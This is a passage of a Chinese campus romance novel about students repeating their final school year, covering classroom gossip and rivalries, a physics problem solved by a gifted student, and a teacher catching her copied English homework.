虞浅怀有些疑惑地回过头来,她轻抬了下眉毛。
“怎么了?”
夏高严心跳微微加速,双手握紧了车把,然后有些忐忑地对她说道。
“……你以后可不可以不要叫我‘白斩鸡’了?”
听到这个请求,虞浅怀眼里掠一丝意外,从她的视角来看。
——就好像某个NPC突然有了自己的思想。
不过她还是答应了这个请求。
“好啊!夏高严。”
说完还冲他莞尔一笑。
夏高严看着女孩脸上明媚的笑容,感觉心里升腾起某种异样的感觉。
又热又燥。
很久很久以后,他才知道——原来那叫做“心动”。
**
虞浅怀回到寝室的时候,已经10点45了,距离熄灯时间还有15分钟。
然而寝室唯一一个没上床睡觉的人就是刘畅。
这就让她很难办。
她本来还想偷偷去放阳台放伞的。
没想到正当她着急心焦,刘畅就收起了桌上的练习册。
然后关掉台灯,拿着自己的手机上了床。
虞浅怀微微松了口气。
她拿着刘畅的伞,鬼鬼祟祟地走到阳台,顺手把桌上的一卷卫生纸也带了过去。
然后站在阳台上,把卫生纸扯了哈达那么长一条。
刘畅躺在床上回复手机上的信息。
畅:你也该放下了。
某人:我没有放不下啊。
畅:既然放下了,还这么关注干什么?
某人:就无聊呗。
畅:……
畅:我要睡了,马上熄灯了。
某人:你要是嫌烦以后我不问就是了。
畅:也没有,我只是觉得没必要。
某人:那只是你觉得。
畅:……
畅:你又开始了。
某人:算了。
某人:唉,你不会懂。
畅:……
刘畅轻叹了口气,她退出微信返回主界面,屏幕上的幽光映亮了她的下颚。
一分钟后,她关掉了屏幕。
然后探头朝阳台那边瞥了一眼。
玻璃门外,虞浅怀正扯着哈达那么长的一条卫生纸专心致志地给她擦伞,试图伪造她没有把伞拿出去的效果。
刘畅表情有些嘲弄,随即又觉得好笑。
虞浅怀总喜欢做一些欲盖弥彰的事。
又过了一会儿,卫生间那边传来淅淅沥沥的水声,她进去洗澡了。
刘畅皱了皱眉头,有点烦躁地翻了个身,然后用被子盖过了头。
这人真是,洗澡也要卡点。
大家达成协议熄灯前做完所有事,她就刚好卡在那个时间,早一分钟也不行。
她叹了口气,闭上了眼睛。
**
第二天,夏高严没来上课,他请病假了。
而且一请就是好几天。
主要由于中间横跨周末,很有可能他要下周一才来了。
这几天他的职务再次由班长临时代替。
周四的物理课后,祁韦去了刘明的办公室拿今天的作业。
这节课下课正好是大课间,大部分人都会选择起身出门,休息放松一下。
走廊一隅。
周红拿出手机,递给温念,表情神秘地说。
“我给你看个意外发现。”
温念好奇地接过手机。
上面显示着一张照片,是刘畅的。
时间非常古早,大概是2年前,上面的刘畅还是长发。
倒也不是很长,不过比现在长多了,约摸到肩膀的位置。
刘畅的旁边是一个单眼皮女生。
那女生脸颊很瘦,所以显得颧骨有些高。
这张照片是由刘畅持镜拍摄的,画面里的刘畅和现在差别不大,还是那副不苟言笑的样子。
旁边的单眼皮女生把着她的肩,对着镜头露出一个淡淡的微笑。
温念疑惑:“这个女生是谁啊?”
周红得意地说:“是虞浅怀的死对头!叫曲晶菁。”
“所以原来咱班的刘畅认识她这个死对头是吗?”
温念从照片上收回视线,转头问道。
周红点点头。
“差不多吧,不仅认识,关系好像还不错。据我所知,这个曲晶菁其实以前和虞浅怀也是朋友,只不过后来两人闹翻了,而且还闹挺大的。”
温念陷入沉思,想起了那天她们三人回寝室,刘畅直接从后面超了她们,根本不和虞浅怀打招呼的事。
她喃喃自语道:“难怪感觉刘畅不怎么搭理她呢……”
周红立刻附和:“就是就是,我觉得我们可以从刘畅入手,至少先把她拉拢过来,作为曲晶菁的朋友,她肯定知道虞浅怀的事。”
温念想到了刘畅上次摸底考试的名次,比虞浅怀还高了一名。
就算抛开别的不谈,如果能和她成为朋友,那应该也是一件挺不错的事。
她思索了一会儿,问了一个她比较关心的问题。
“那……夏高严呢?他以前和虞浅怀的关系到底如何?”
在周红面前,她不再掩饰自己。
不管是半推半就,还是送伞失败受了刺激
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。
总之,她现在对夏高严的确是产生了一些同窗以外的妄念。
周红皱眉道。
“夏学霸以前比较低调,我同学知道的不多,不过有一点可以保证,他和虞浅怀绝对没什么关系。因为虞浅怀以前的男朋友姓宋,好像还是个校草,叫……”
“宋佑斯?”
“对对对。”
宋佑斯这个名字,温念倒是从小姐妹的嘴里听过几次,不过对于他的情感史她是不甚了解的。
万万没想到,宋佑斯那时的女友竟是虞浅怀,这让她有种时空交错的感觉。
就好像以前只在别人嘴里听过的人物,现在忽然走到了她面前,还间接地和她产生了交集。
“好吧,所以现在就是虞浅怀复读之后,突然对夏高严产生了兴趣?然后那天晚上就去给他送伞了?”
温念做出总结。
“我觉得是,”周红点了点头,随后神情鄙夷地说了句。
“而且听说她以前和校草谈恋爱是倒追的,这次明显又是她倒贴!”
温念不置可否,面有忧色,她又想起虞浅怀为他擦脸的亲昵画面。
周红鼓励她道:“没事,送了个伞而已,又不是已经谈了,她喜欢夏学霸,夏学霸也不一定喜欢她呀!”
温念叹了口气,她看了下手机上的时间。
“我们先回去吧,我想看看物理作业发下来了没。”
“行,那走吧。”
**
两人回到教室,班里一片怨声载道。
“这么快就开始做高考题了吗?”
“我连题目都看不懂……”
“补药啊刘哥!怎么能这么残忍?”
“淡定,又没让做完,不是只选了几道题吗?”
“几道?这次题一道顶十道!你没看班长都找人讨论了吗?”
刘明这次布置的作业是某高考大省的真题,虽然只有几道题,但难度都比较高。
祁韦一向热爱挑战,他一拿到卷子就率先挑了道比较难的题来做,发现果然没什么头绪。
然而虞浅怀此刻不在座位,夏高严也请假了,于是他把目光投向了班里的第三名——刘畅。
他拿着卷子去了刘畅的座位,于是就有了刚刚对话里的画面。
那是一道子弹穿入木块的题目。
“先假设子弹穿出木块的瞬间,子弹和木块的速度分别是v1和v2。”
“嗯。”
刘畅在草稿纸上写下步骤,她思索片刻,列出了相关的公式。
“那就可以得出mv0。”
祁韦附和道:“对的,然后他们之间的作用力对系统做的功等于系统产生的内能……所以……”
他又在旁边写下了另一个公式。
“所以v1和v2都是可以求的,但最大值要怎么判断呢?”
两个学霸认真地在座位上讨论着。
周红抬头看了眼,拉了拉温念。
“走,咱们也过去听听!好机会。”
她的意思是接近刘畅的好机会,温念点了点头,拿上了笔和卷子。
“学霸们,我们也过来听听!”
周红笑着和刘畅打了个招呼:“嗨,畅姐。”
刘畅抬头瞥了眼,这个称呼有一点奇怪,因为她知道周红和温念都是隔壁403寝的,但周红却是第一次这么叫她。
不过想要请教问题的话,用下尊称也挺正常吧?
她没想太多,淡淡回了招呼,继续和祁韦讨论。
但显然,这道题已经超出了两人的能力范围。
旁边基础较差的温念和周红更是连他们的讨论都听不懂。
场面一时陷入僵局。
正当几人一筹莫展时,虞浅怀拿着自己的水杯,从刘畅桌旁悠悠地路过。
24. 她想
祁韦像抓住救命稻草一样叫住了她。
“虞同学!”
虞浅怀懒懒地朝他瞥了一眼,停下了脚步。
“怎么?”
祁韦马上扬了扬手里的卷子,神情急切地说道。
“可以帮我们看看这道题吗?实在是做不出来了。”
虞浅怀长睫轻垂,看向他所指的题目,然后勾了勾手指。
祁韦立刻从善如流地奉上了刘畅的笔和草稿纸。
刘畅抿起唇角,直起身子看向虞浅怀,以一种捎带怀疑的目光。
周温二人因“调查”一事,先是心虚回避,在她开始着手解题时,又重新看了过来。
周红的表情带着一丝不易察觉的烦躁。
她想着,好好的接近刘畅的机会,居然又被虞浅怀给搅黄了。
但这会也不好离开,只得干看着,心里的妒火微微燃着。
温念比她稍好,心里至少还有对知识的渴望。
她在努力看懂题目以跟上大神们的节奏。
虞浅怀把水杯放到一边,俯下身子把草稿本搁在桌上。
然后抬笔往祁韦刚刚写下的公式上打了一个圈。
“首先,v2和v0是单调递减的函数关系,所以当这一项与v0相等……”
女孩腕间的银镯碰撞,发出清脆的鸣响。
听到“单调递减”这四个字,祁韦有些惊讶,他万万没想到还能用到数学的思路。
但他有些疑惑,这个结论是怎么得出来的呢?
和质疑但又羞于提问的祁韦不同,刘畅干脆利落地打断了她。
“等等,单调递减?你是怎么得出的这个结论?”
语气中蕴含着一丝不信任。
虞浅怀歪歪唇角,飞快地写下公式。
“如果把v2对v0求导,就会发现v2对v0的导数是一个负值,所以当然是单调递减的关系。”
解题时的虞浅怀和平日大为不同,眉宇之间凝聚着一股冷肃,眼里也透出一种犀利而智慧的光芒,如同天上的星辰一样微微闪烁。
导数?
此话一出都沉默了,这再次涉及到大家的知识盲区。
虞浅怀用的方法太高端了。
祁韦试探地问:“请问有没有常规一点的方法啊?就我们会的那种。”
虞浅怀把笔头抵在下巴,思索片刻后,她挑了挑眉道。
“也可以。”
她把草稿纸扯下新的一页,慢条斯理地吐出一句。
“那就用‘分子有理化’。”
祁韦再次惊诧:“分子有理化?恕我见识浅薄,只听过分母有理化,分子有理化是个什么东西?”
虞浅怀轻笑一声,面露几分不屑,她停下手中转动着的笔。
“看好了。”
说着她把v2右边的某一项用一个常数“K”代替,把要求解的部分单拎出来用y表示。
然后唰唰唰地在后面写下几个变换式,再把整个式子全部除以v0,整个公式瞬间变得极为简洁,分子上仅剩下一个“K”,这样分子就实现“有理化”了。
有了这个式子,最大值显而易求。
“现在能看懂了吧?”虞浅怀指了指上面的步骤。
祁韦迫不及待地拿过草稿纸,看了足足有一分钟。
看完后他感觉冷汗都下来了,这方法简直过于巧妙。
他竖起大拇指,有些震撼地说道。
“牛!太牛了!我怎么就想不到这种思路?简洁又清晰,不愧是大佬!”
男生眼里的钦羡甚至是爱慕简直马上就要溢出眼眶。
以前都只是听说,这次他是直观地感受到了虞浅怀的天才。
不愧是拿了物竞金牌的女人。
周红看着祁韦的表情,妒火又烧得比刚刚旺了些。
而温念则是默默地黯然了几分。
如此优秀的女孩,他人很难不爱吧?
刘畅也仔细地看了一遍,最后做出总结:“所以是选C。”
虞浅怀点点头,放下笔,然后潇洒拍了两下手。
物理学神的光辉猝不及防地洒了周围人兜头一脸。
刘畅信服地说了句:“厉害。”
她这人公域和私域还是分得很清的,厉害就是厉害,不会因为别的因素就打了折扣。
她目光扫过旁边一脸懵逼的周温两人,冷不防地问了一句。
“你们俩听懂了吗?”
温念瞬间脸颊发热,她如实地摇了摇头。
祁韦还在一旁补刀。
“没事,她的思路连我们都跟不上,更别说你俩了,不用太自责。”
周红只得咬碎后槽牙,讪笑着丢下一句。
“我们还是听刘老师讲吧……”
然后拉着温念迫不及待地溜走了。
虞浅怀也拿上水杯拂尘而去,给刘畅的桌角留下一圈湿漉漉的水痕。
刘畅皱起眉头,扯了一张纸擦拭干净。
刚刚讲题的好感瞬间相互抵消为0。
祁韦狗腿地跟在虞浅怀后面,和她一起来到饮水机旁边。
“你真的太厉害了!佩服佩服。大佬,能分享一下学习物理的诀窍吗?”
虞浅怀看着杯子里逐渐上升的水位,淡淡道:“你是想问学习还是做题?”
祁韦挠挠头道:“呃,做题吧。”
杯子里的水已经接满,虞浅怀松开按钮,祁韦立刻为她递上了盖子。
她接过来盖上,然后往后撩了撩头发。
“做题的秘诀就是‘实物模拟’和‘图像化’。多画图,坐标系和实物图都要画,画完之后再在脑中模拟实际情况。如果你现在做起来很吃力的话,就先别硬做,集中训练画图。”
祁韦若有所思地点点头,又道。
“但是我觉得中低难度的题我还可以,遇到真正的难题我就画不出受力分析图了,不敢下笔,总有种似是而非的感觉,这种情况应该怎么办呢?”
虞浅怀云淡风轻地说道。
“做不出高难题,说明你缺少一种物理的思维。”
祁韦皱起了双眉。
“物理的思维?”
“你平时做题的时候,是不是直接就套公式?”
“那是肯定的。”
“这不就对了,学物理不能光靠套公式,思维要打开。比如同样的公式,不同的变体,你有没有想过,为什么教科书上的基础公式是这一种,而不是另外一种?”
“还真没想过。”
“所以你其实并没有从物理学的角度去学习物理,你所做的一切都只是为了应试。——当然,这也没什么错,我们都是来应试的。”
虞浅怀捧着水杯,目光变得炽热。
“可能区别就是,我比你们多一点热爱。”
祁韦顿时陷入了沉思,自
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己无法做出高难题,可能是因为缺少对物理的热爱?这个理由令他深思。
“不过——”
虞浅怀话锋一转。
“单就应试来说,也不是完全不能提高,方法还是我刚刚说的——画图。”
她鼓励对方道。
“从现在开始培养物理思维,应该来得及。”
这句话顿时给祁韦带去了一丝希望。
除却对她的爱慕,他心里更增添了一种革命战友般的情谊。
祁韦目光如炬地对虞浅怀说道:“谢谢你,虞同学,今天收获简直太大了!”
“不用谢。”
虞浅怀淡淡一笑,端起水杯喝了一口,深藏功与名。
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几排开外的周红还在座位上嚼着舌根。
“她好装啊!”
温念低声反驳。
“也不能这么说吧,人家确实是厉害。”
周红瞪着眼睛。
“明明一开始就可以用常规解法,她偏要秀什么导数,这还不是装?我们能听懂那玩意儿才怪了!”
温念不再反驳。
“你看看,班长也快成她迷弟了!追在她屁股后问这问那,啧,要一个还不满足,还想要第二个,我没见过这么厚颜无耻的人!”
她本还想说出更难听的话,但碍于快上课了,周围已经安静下来,只好随意吐槽了两句。
听她这么说,温念只觉得更自卑了。
她到底拿什么和她比?
心情开始愈发烦躁,但总感觉有哪里不对。
她复读不该是为了这些事而烦恼的。
但是自己的数理成绩确实也是一塌糊涂。
唉,总之不管是哪一样,都让她烦扰。
预备铃一响,英语老师杨蓉从前门走了进来。
温念收起心思,开始专注上课。
杨蓉在教室里扫视一圈,除了夏高严,学习委员最近也感冒了。
不过她没请假,只哑着嗓子说话。
杨蓉叮嘱道:“最近季节转换,大家注意身体啊!一个二个都感冒了,身体是革命的本钱。”
虞浅怀朝夏高严的座位轻轻瞥了一眼。
他几天不来,她竟然还有那么点不习惯。
好像心也跟着那座位空了一块似的。
过了一会儿,她偷偷拿出了手机,在聊天框里编辑了一条信息。
“你怎么样了?好些了吗?”
杨蓉在讲台上翻开英语练习册,看到埋头搞小动作的虞浅怀,立刻敲了敲讲台。
“虞浅怀同学。”
虞浅怀马上收起手机,抬起头来。
杨蓉拿着练习册问她。
“你昨天做的作业,完型填空怎么和阅读分家了?阅读全对,完型错一大半。”
班里顿时哄堂大笑。
虞浅怀挠挠头:“呃……”
当然是因为做完型就已经耗费了她所有的英语细胞,所以阅读是抄的啊。
还能是怎么样?
她对英语一向怠懒,甚至懒得做样子改成自己的水平。
杨蓉失望道:“我一向没对你说过重话,但我觉得这不是你敷衍我的理由。”
虞浅怀心虚地转了两下笔,眼神躲躲闪闪,刚刚讲物理题时的自信几乎荡然无存。
“这样吧,那今天就由你上来,给大家讲讲你的阅读题是怎么做的。”